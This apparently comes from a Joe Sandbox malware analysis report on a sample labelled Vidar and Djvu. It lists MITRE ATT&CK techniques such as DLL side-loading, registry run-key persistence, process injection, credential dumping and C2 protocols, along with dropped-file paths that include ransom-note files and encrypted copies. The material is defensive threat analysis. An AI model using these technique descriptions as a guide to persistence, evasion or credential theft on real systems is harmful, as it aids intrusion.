Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SUwX12D2S6.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Vidar

Threatname: Djvu

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\$WinREAgent\_README.txt

C:\ProgramData\DBAEHCGHIIIDHIECFHJDHDGHDB

C:\ProgramData\IIJEBAEC

C:\SystemID\PersonalID.txt

C:\Users\user\.curlrc

C:\Users\user\.curlrc.bgzq (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old.bgzq (copy)

Windows Analysis Report
SUwX12D2S6.exe

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may deliver payloads to remote systems by adding content to shared storage locations, such as network drives or internal code repositories. Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.
Tactics:	Lateral Movement
Data Sources:	File: File Creation, File: File Modification, Network Share: Network Share Access, Process: Process Creation
Platforms:	Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre